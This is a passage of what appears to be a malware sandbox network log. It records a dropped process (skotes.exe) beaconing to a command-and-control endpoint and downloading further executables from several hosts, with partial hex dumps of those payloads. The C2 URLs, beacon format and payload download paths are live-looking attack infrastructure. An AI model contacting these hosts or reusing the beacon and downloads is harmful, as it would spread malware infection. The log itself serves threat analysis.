Nov 15, 2024 16:17:08.684777021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:08 GMT Content-Type: application/octet-stream Content-Length: 4416512 Last-Modified: Fri, 15 Nov 2024 13:49:42 GMT Connection: keep-alive ETag: "67375176-436400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 41 89 35 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 47 00 00 32 69 00 00 32 00 00 00 40 bb 00 00 10 00 00 00 10 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 bb 00 00 04 00 00 96 dd 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 2d bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2c bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELA5g(G2i2@H@pC@ _fs -, fl'@.rsrc f\|'@.idata f\|'@ 8f~'@uquybeiup'@cqjmtrkl0>C@.taggant0@"BC@
Nov 15, 2024 16:17:08.684798002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:08.684809923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:08.684815884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:08.684839964 CET	1236	IN	Data Raw: e8 4b a8 1d 2e ba 33 25 69 70 22 65 b8 1b 80 ba 0a 0f 80 2f 1b 07 11 e5 37 42 d0 e8 9e 42 74 ed 0e 33 97 cb 49 03 5a c3 3a de 3c db ff c4 a3 17 6d 42 a2 71 df 43 11 b6 69 b9 53 b6 2b c4 7b b5 8a 50 59 5d 44 49 3a e2 8c bb 80 e2 2a b9 a9 d4 b5 bf Data Ascii: K.3%ip"e/7BBt3IZ:<mBqCiS+{PY]DI:qm?-WmE#F@%#<hm# plcrlD?x1H:D"a;2r$>-{7+_/5[ZxcU$.@L~0(@
Nov 15, 2024 16:17:08.684850931 CET	1236	IN	Data Raw: 57 00 42 a9 6e b5 97 9c 36 1b 39 79 e7 f4 ad 9d e6 b1 21 12 a8 c7 da a9 39 eb f1 2d 88 7f e3 84 87 ae 63 f9 60 5c 12 c0 aa d9 fe 28 c5 ab 07 25 83 04 fe 45 91 47 fc 26 7a 44 dd 6f 01 e7 8e 47 c4 47 c6 66 83 08 7d a0 c1 f9 a4 07 b3 b6 2d 10 c4 e8 Data Ascii: WBn69y!9-c`\(%EG&zDoGGf}-E6O/=T?(("2)Hs'n,b2\|r%;TPC/zwpR%cq%&Uv[r-jSxu>v{:%"U;0GR2Rv>
Nov 15, 2024 16:17:08.684855938 CET	1236	IN	Data Raw: ca bc af 5f 1a 01 21 74 35 eb 11 04 70 3b 58 b6 34 d4 66 ed 59 cc bf f4 70 1e 7a 68 55 37 19 9a 17 bd 40 6b d0 a2 2a 05 a3 19 6d dd 47 9e ca 26 0d 49 93 be 2d 0f 13 b6 a1 2c 14 26 6c 91 b0 e4 27 e4 98 cc 7a 78 f0 45 35 91 2b 6a 65 fc e7 b6 8d cc Data Ascii: _!t5p;X4fYpzhU7@k*mG&I-,&l'zxE5+je;@(Gp;Ied- a}zIg:p-x8HO~-'yomatH/:TI6gg{SE94<$&/)Dq9G<7v`SuKs
Nov 15, 2024 16:17:08.684863091 CET	1236	IN	Data Raw: 1b 1b 08 d7 f6 49 c1 ca 72 d3 fa c4 82 c9 92 21 ae 7e 85 29 88 eb fb e8 08 27 cc 26 cb 7e 13 05 39 6a 51 f7 f8 21 9a 5b d1 3a 4b b5 b6 88 fc 17 cf f0 ea 1c 01 ba 13 b0 c4 75 d9 bc 7e d2 c7 ff 82 f5 8d 19 a8 23 09 b2 73 28 31 ab a6 cb cd 93 ea 74 Data Ascii: Ir!~)'&~9jQ![:Ku~#s(1tV\Ti7O9N`@y?H/s:-gsL7m4)/hO)YLJEzzNTq$s\|M!atx7E>!syAn
Nov 15, 2024 16:17:08.684866905 CET	1236	IN	Data Raw: 8c 40 8c c2 6d a2 6a f0 ab d8 44 ce e5 03 85 ac ac 0e f8 bf e1 fb 4f 92 62 79 62 22 e3 db 55 8b 0a 49 eb 3b 16 c7 9f 28 dc e8 3d 2d 8e cc 7a fe 9e eb 12 88 73 4b 20 d8 a6 52 65 06 cb c5 23 00 c3 fc 2f 74 b2 28 74 db ba 07 c5 e1 ae 05 f2 71 e8 96 Data Ascii: @mjDObyb"UI;(=-zsK Re#/t(tqS(M<]9w7 GB[P?CnL^F{f3w\|p7-:#+'91PA8q<yWzNc:a*y:-\|3s
Nov 15, 2024 16:17:08.684873104 CET	1236	IN	Data Raw: c0 c6 a7 04 4b c7 66 62 05 a9 26 28 5b d9 8f 48 79 20 a8 9f 0b 27 1d 4e e1 0e 84 ac c3 2f 74 26 f6 9a 14 cb 22 c1 c0 14 d3 c5 11 a0 a7 67 84 c0 0c 9f 3c f5 3a c8 18 0a 77 43 f0 03 ed b6 40 58 3f da f7 99 c0 4b b1 09 29 a1 2f 1b f0 b9 af b3 7a c1 Data Ascii: Kfb&([Hy 'N/t&"g<:wC@X?K)/z0BsV\NbQXzk+(7R1#Tlu?%)9'R7tN9LMx#5OaT-P#n\4GK
Nov 15, 2024 16:17:08.689929008 CET	1236	IN	Data Raw: 2a 3d 93 fa 69 cf 8a 71 04 d6 37 9d f1 68 60 15 23 af 32 3f 03 dc 10 69 5a 59 97 ac f8 3a ff ae 17 9b ac 05 bd 74 74 b9 87 b5 de 51 39 77 34 59 0c 30 66 b6 1e 43 73 15 18 c1 ba e1 b6 33 95 8e 2a 37 c3 a3 8d fc 79 06 b4 b3 28 c3 89 23 1a b7 c3 ad Data Ascii: =iq7h`#2?iZY:ttQ9w4Y0fCs37y(#2Y"#$6 >ba\|J2_kJc7QD,13lu,elyMc6qljlIz@l4238W@hX"*+965cS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49995	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:12.978023052 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 34 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006449001&unit=246122658369
Nov 15, 2024 16:17:13.893364906 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49996	34.116.198.130	80	2460	C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:13.461304903 CET	87	OUT	GET /iNfkLAsWrCuVUxMyJkfW1731561474 HTTP/1.1 Host: home.fvtejs5sr.top Accept: /
Nov 15, 2024 16:17:14.439224005 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Fri, 15 Nov 2024 15:17:14 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="489829wxUEAxgteyn;" last-modified: Thu, 14 Nov 2024 05:17:54 GMT cache-control: no-cache etag: "1731561474.3413615-10815536-2408912926" Data Raw: 4b 21 89 af 48 67 11 84 be cd 93 c8 45 09 5a 00 da 5f d6 3c 93 47 7c 06 af 8f 74 c0 95 e1 b9 11 23 d8 af cc 5e 92 cb dd 93 c8 01 c6 3d c7 8b 83 ec 03 88 b1 59 ea fa ea 0f d7 a5 3e 52 af 64 3c ef 21 ea ce f1 cf 88 82 c6 d3 4a 04 a2 5d 6e 76 63 67 36 4d cb 73 f6 76 1f 48 e4 1e e4 99 a6 e8 da 08 0b 80 57 9f 72 8b 68 f6 80 9b 38 7d 3f 9b 1f ed 39 a0 e0 1a 01 d7 af 1a 68 ae c5 f5 ac 94 a8 89 9f be 25 7c 48 ec e5 cd b3 41 0a 92 7a 44 7d aa c3 e1 a7 ee d0 a9 31 e0 06 f7 3f f2 bb af ed ee d7 36 fe d4 5b 00 60 e2 b8 87 dc bb 3c 08 10 d8 7f 15 73 10 93 da 9b 01 e6 44 71 45 33 76 2d ba 1e c2 7f e8 a8 ea 3e fb 53 c6 38 5e 5e e2 f8 21 9a ed ca 4a 6c 95 92 1b 8c 56 08 67 6f 1e 9b cf b8 78 0e 07 0d b5 f9 99 1f 84 ff b0 74 07 6a 9f 3e 7d c6 39 54 46 b4 70 4d db 8f 02 74 ed 9b 30 eb d7 5d 00 df 32 c4 e8 b4 39 ba b8 bb ba 92 4c 89 ec b4 af 86 0d 4b 9d ea 72 a5 9e d5 9d d2 ad 7a 94 f1 d2 94 34 4a 28 56 b4 1a cf 3c b6 aa b6 a4 30 eb 26 cc 7b c0 fc 2d 11 f2 a5 6d 75 e7 41 78 bf 9b 08 57 f8 e0 06 ac a0 ee 82 f7 c9 d5 09 [TRUNCATED] Data Ascii: K!HgEZ_<G\|t#^=Y>Rd<!J]nvcg6MsvHWrh8}?9h%\|HAzD}1?6[`<sDqE3v->S8^^!JlVgoxtj>}9TFpMt0]29LKrz4J(V<0&{-muAxWq_2:'Z7cQzuKIV,xC.De&k8(VBH&okS-E@Q4tP=5=G{"0Y3/(`(+C2i\KhtaP/rSrOaKD;4ZE>0La@Y]'Q& CX\|{8lMnB8yq9klSWOww!{1izv,+X\|OcRl:!O\|57Y2C:8]$CSv-pv2yW]eZU%a\|9fes,W{3Z7EU/dMT(vSY"=]wW%U<AH]slEIgmpv86$!@%(k/nl)JMR
Nov 15, 2024 16:17:14.439285994 CET	1236	IN	Data Raw: 1c 47 b6 cd 16 0c 03 c8 00 be ca 33 2f 18 de f6 5d 24 9a 31 fb 79 45 d5 a5 91 00 1b 37 1a 81 65 7d 1a a0 0d 88 9d 60 ff 73 ed 35 3c 77 c8 d0 b4 56 a9 94 5b 78 ed 5c da 08 00 e1 67 f3 b7 87 31 c9 f1 11 9d 59 db f0 60 a9 7d 35 a6 3e 8b 00 67 3e 05 Data Ascii: G3/]$1yE7e}`s5<wV[x\g1Y`}5>g>9tarH/kIIY8LvA0lt*:CvksArKd?[S8i$:QIFxlrA3pQ"[ZYx,m >j<K;
Nov 15, 2024 16:17:14.439367056 CET	424	IN	Data Raw: d5 9d c0 30 41 b5 f6 fe 83 34 a9 34 f0 e9 2d de 33 8c 7c bc 96 ee 95 b2 ef 65 70 ed 70 f9 41 16 81 d4 5a 1d c2 6f e3 09 a3 0a 26 52 ec 9c c1 f7 30 ed b5 9b 96 08 02 bf 3c bc 72 c3 0f ba b9 f3 89 53 a8 2c 06 0b c0 12 e4 c0 8e a2 67 75 3f 0f 16 c1 Data Ascii: 0A44-3\|eppAZo&R0<rS,gu?\|h vjQYaDn(SSs#6Ra[6-tK$;U@G`ymssa][\|KPKFd*1H}N3fK`:A3H?D1L/#ev-LIg;
Nov 15, 2024 16:17:14.439403057 CET	1236	IN	Data Raw: b7 39 c1 a7 be dc a3 95 b4 1b 75 2c 1b d3 fb e8 44 42 31 9e f0 99 51 24 3d fc 7d 7c 8b b3 82 29 fa 27 13 e4 25 9b e0 94 47 52 bb 18 59 22 25 8d a1 c7 03 ea 56 a3 c8 e7 27 37 b0 dd 60 c7 68 50 8c f7 96 e5 ad 2c 65 9c 52 7e 80 0e a2 34 66 0d 6c 5c Data Ascii: 9u,DB1Q$=}\|)'%GRY"%V'7`hP,eR~4fl\1z'q"oTDy?@9D}c]#>#6k"iiO):r!^:cyK5AtP(f=p5+Y?M~f8H,fkEXaI\
Nov 15, 2024 16:17:14.439440966 CET	1236	IN	Data Raw: 58 e7 1c f4 90 0a 13 a1 2f bf d8 2a 04 b7 fd ea 2d 3f 70 49 41 25 da ae 32 59 18 3e 0e 52 50 d3 b9 ad 51 45 bc c4 ec 5e 1c 49 cc a5 24 53 b1 01 74 67 01 26 63 e8 16 80 05 12 f1 10 a5 f7 65 73 a7 d0 72 cd d5 81 cf aa 4a b8 e2 a4 e3 c5 ab 8e dc 30 Data Ascii: X/*-?pIA%2Y>RPQE^I$Stg&cesrJ0y<jmS~c:grQn&6>iUX;Q??IxrDaY,^O0{goeWa6LG\|YE+6S[d&(2dm
Nov 15, 2024 16:17:14.439479113 CET	1236	IN	Data Raw: 2d 35 dc 47 8a b0 32 54 91 12 41 e7 9a 80 d4 e3 f7 03 b8 a6 1f 1a 13 2b c5 80 4c 1d 39 4c 7f 43 ac 5d b1 5f 7b cc e9 55 39 aa b8 12 26 76 ab 52 91 be 62 fc 6e d7 b9 c7 89 47 a0 64 eb 04 d3 56 09 68 8b 75 d4 f5 d8 77 3b 5a bb aa 6b 79 c4 db 10 b6 Data Ascii: -5G2TA+L9LC]_{U9&vRbnGdVhuw;ZkyF*4Ocgl\|tdD/UtZi)] E,9Kd.%Oph;HqK'(1(yY#J"p#y"ZhIh-;eIHg+
Nov 15, 2024 16:17:14.439513922 CET	516	IN	Data Raw: 07 3f 87 44 8a 77 ff f3 76 35 58 82 f6 e3 f2 68 02 58 89 71 d1 8b f1 56 9c e6 dd b6 6c b7 bb 23 1b 6b 48 ef fc f8 01 2b 06 47 12 9c be b2 8b 46 eb 1f fc d3 cc 5c 81 05 1e 1f aa dd 88 42 e7 dc d0 3e 46 3f e0 7a 45 2f 93 63 9b fe 0e de a4 f2 f9 20 Data Ascii: ?Dwv5XhXqVl#kH+GF\B>F?zE/c 9i!HhDOx@J~CF]\|XXe`+ERtDTmt'#z#vi&m;BEn@4&@fJldn*wYli:)d:,V}%DJ&3BG
Nov 15, 2024 16:17:14.439551115 CET	1236	IN	Data Raw: e1 8d f1 46 71 43 c2 1b e0 b7 78 eb d4 7e a2 46 06 61 f4 c0 02 fe f2 52 42 db 26 77 93 06 78 f9 93 2a 0d 88 7a 3e 6b e3 21 ad 79 2e 53 37 40 0f 1b 16 6e 0b 97 c0 1a 79 bd 29 fc 4a af b3 21 39 a5 02 25 7f a6 de 8f 82 52 bc 1d 7d e2 6f 8c 64 4a 4e Data Ascii: FqCx~FaRB&wx*z>k!y.S7@ny)J!9%R}odJNifg]b+??n6{6aiBb++m%-;A`'84qHe3C}nEDo/Xs\>i8HdBAw\|/ul;.}7$))o$~N.
Nov 15, 2024 16:17:14.439587116 CET	1236	IN	Data Raw: b0 35 3e 95 ed cf b2 b8 f4 e1 22 25 1f da e5 4d 92 98 3d 3f 24 ff f6 61 16 99 a8 0f d8 08 8c ae a8 c8 de 3b 41 56 6c 91 5a e9 9f dd 30 bc 13 f7 d7 34 1b 5c 97 a7 97 8e 29 47 26 73 99 8b f9 0f 1d 2c 13 7a 4e 69 07 e4 73 1d 4b cc 4a 65 77 ec e2 b3 Data Ascii: 5>"%M=?$a;AVlZ04\)G&s,zNisKJew_wHd<s&9Dk^w0~gk}gnc9WiTL'$^%{fy\|((u^8lQ+'EvZ"GrhZ4Q!zRoKvq$n[
Nov 15, 2024 16:17:14.439624071 CET	264	IN	Data Raw: 4f c1 d0 9a 92 c0 75 86 44 f4 bb cc ca d9 de eb 2f 0c 6b dd c6 40 e9 bf 21 24 f8 b7 19 2c c7 52 b0 88 7e b9 76 65 c6 8f 7f 23 33 20 54 2c 6d 3c 50 6b 2b f5 b7 8b c4 6f d2 00 9c d3 d5 83 d0 9f 04 e4 8f 3b d3 07 41 3f c9 b7 0f 0a ff ba 99 87 f8 48 Data Ascii: OuD/k@!$,R~ve#3 T,m<Pk+o;A?HshYCN!hV_.F.r^G5}A}^"Y8[mSm(^"h$El%*;I}Ld(3Eg!+6>f"D(c5av;{"zgP1Ym7Y
Nov 15, 2024 16:17:14.444624901 CET	1236	IN	Data Raw: fd 09 20 2c 50 07 15 ca 7e f8 aa cc b6 dc a2 ff be 85 7d 19 86 ed d1 51 2a 39 3d 5b 2f 4c 71 18 55 e5 8c 4a b4 e4 61 e8 32 de a9 6e fb 08 f7 4e 94 a5 07 0a 56 c9 48 dd 37 5c a5 6f d0 8f 24 c2 2b ee 71 b5 3a 9d e0 0a 5a 5e 72 aa cd d6 a6 4d fb b9 Data Ascii: ,P~}Q*9=[/LqUJa2nNVH7\o$+q:Z^rMe;4:%YA{z]:uhtA&0$uLv+]jz%K8>PXjnL,:Ax-!QXp'LQ'7s.[(KMe%:,2{dT!@~3(Vw\I~aFr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49997	185.215.113.16	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:13.902172089 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 15, 2024 16:17:14.826251030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:14 GMT Content-Type: application/octet-stream Content-Length: 1829376 Last-Modified: Fri, 15 Nov 2024 15:05:20 GMT Connection: keep-alive ETag: "67376330-1bea00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 e0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 49 00 00 04 00 00 62 24 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4gH@Ib$@T@hA J@.rsrc 0Z@.idata @Z@ *P\@jhxiqwysp`/f^@sydghrgwH@.taggant0H"@
Nov 15, 2024 16:17:14.826306105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:14.826344013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:14.826381922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:14.826421022 CET	1236	IN	Data Raw: 40 18 28 11 54 cf fe 3f 7c f0 71 74 3a 3f e1 71 be 80 86 b6 bb 61 ac c9 c6 21 ec 71 e3 df 61 c0 30 f7 8f ea a7 f5 2d fa 3e 23 01 35 2d 7b 26 f1 e0 88 f1 fb b2 28 7d f4 63 c6 aa a8 36 ec 2b da fb 7c ff 94 7e e7 7e 88 df cd 1e 83 a6 7a ee f4 b5 68 Data Ascii: @(T?\|qt:?qa!qa0->#5-{&(}c6+\|~~zhgUJ5kiX\xXb<:n+}Fye#;8m?T.f=_0r#&_,[r=bdikL>0)["Tf4o&U?
Nov 15, 2024 16:17:14.826459885 CET	1060	IN	Data Raw: 58 7f 6d 66 76 cc e4 61 15 b1 fe 70 d7 d0 c9 37 c0 cb 3c d9 d2 c7 72 50 c7 ab f6 11 17 c2 c5 dc cb 3f b3 cb e9 0d b5 c6 94 7f 0c 10 a6 19 8e 69 6b e7 a4 d9 e6 8e 85 32 f0 93 b6 a2 ad 6f 28 23 87 a6 8d 0a 5e ee 83 01 cf 9a bc 6f 20 18 ee 4c 6e c7 Data Ascii: Xmfvap7<rP?ik2o(#^o Ln'<R^jlO1P"Bc3_x>}2.yqicvl!>r9!z}TD1d**9hQ_(%^{9oRn+>
Nov 15, 2024 16:17:14.826498032 CET	1236	IN	Data Raw: ef 50 95 eb c6 19 a7 7a 76 b1 e6 24 23 e1 8e f8 d6 f9 e6 60 f6 20 9e c9 b1 58 f9 70 99 51 ae fa df e1 11 32 d5 6b fb 8c ef 1a 40 5d de c7 8f fb 97 58 10 4f 9e 8e 28 11 64 90 bd e7 e7 48 fd fb 7c ad dc 20 bc f1 86 3b 5f 07 62 dd 3d f3 f5 08 dd be Data Ascii: Pzv$#` XpQ2k@]XO(dH\| ;_b=vP8v=ul}~wJ7U%3v9fv\|oyt%!ojzmpjVj<hQmmWH
Nov 15, 2024 16:17:14.826535940 CET	1236	IN	Data Raw: 12 cb fb bb 9c 34 f1 de a6 e6 f8 71 96 f8 50 87 e4 6d b4 75 1d fb 24 20 73 95 fd c6 4d 27 9d 08 6e 28 ae d0 9b aa f3 d6 d2 f8 ec 8a 6f 18 9a 78 b9 85 65 95 89 fb c4 28 db 12 93 88 e6 e6 e0 67 7d 4e 65 f6 01 b8 ec 75 b1 c6 27 79 c7 63 ff 4c b3 6f Data Ascii: 4qPmu$ sM'n(oxe(g}Neu'ycLo:0)EMOIqrO*5\Z}{oEK1P,obv&>l=}5;U!O_7s{~c)rANOIcS>+a
Nov 15, 2024 16:17:14.826572895 CET	1236	IN	Data Raw: 50 c8 d4 d8 a0 19 27 a5 67 36 1f fd ed 6d e8 71 8b 10 96 d1 2b 90 36 a4 b4 6a 76 d7 88 03 6d 32 26 b0 cf 64 7d 49 5e 34 84 c6 df ac a5 06 51 6b e6 8b e9 a1 fd 54 65 2d 82 9d cb bd bf 6d 4a 4d b2 df 86 92 b8 78 55 5d e3 a3 98 4b ae 47 9d ad 20 bc Data Ascii: P'g6mq+6jvm2&d}I^4QkTe-mJMxU]KG 'u$qKISd!fn9lOXuhj7^t;"_&nr?r"k}I/5oj?Ji=&{5fj-nRmnseA}!:)sLzP
Nov 15, 2024 16:17:14.826611042 CET	1236	IN	Data Raw: dd ca fc bf 63 fc 78 4b be e9 dd 6e bd c8 88 f3 2b 3b b5 c4 49 1f 73 a8 aa db e5 4e b7 a7 bf 7a 51 ed 78 c9 a0 00 bd 14 a2 b4 6e 7b b4 08 89 ca 67 e4 e5 39 da fe 71 0c dc ec 77 05 5d 56 c4 55 a6 8e c7 e5 a7 ac cb e6 46 71 82 4a 83 ff 86 01 27 01 Data Ascii: cxKn+;IsNzQxn{g9qw]VUFqJ''J"w4a5130WO?"^N%q`_/8IZRg@@YupQrcj.m#:cmu;YNRBiOe-}~`
Nov 15, 2024 16:17:14.831736088 CET	1236	IN	Data Raw: 98 20 90 a7 d5 8a a2 8c e1 ba c8 0e 85 c2 fb e9 c0 43 1d bf ea 69 05 fa d7 e6 a8 b5 16 9e 6d bd e6 d8 ce b9 fe d5 e9 fc 0a f1 52 13 82 b7 b8 b2 9c 6f a8 f2 29 90 ae c9 dd de 26 d8 36 21 c7 4a 1d b8 a7 8d 62 a3 87 02 e7 fe 05 71 d3 8a 8c b5 85 18 Data Ascii: CimRo)&6!Jbq)q GtSn:F8>JGZ2; /ZXd/(wYx:;}kURo>o1!Xc3ey:qQom1)j0 ;88

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49998	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:18.717137098 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 34 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006462001&unit=246122658369
Nov 15, 2024 16:17:19.601840973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50000	185.215.113.16	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:19.611123085 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 15, 2024 16:17:20.545079947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:20 GMT Content-Type: application/octet-stream Content-Length: 1822720 Last-Modified: Fri, 15 Nov 2024 15:05:27 GMT Connection: keep-alive ETag: "67376337-1bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 00 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 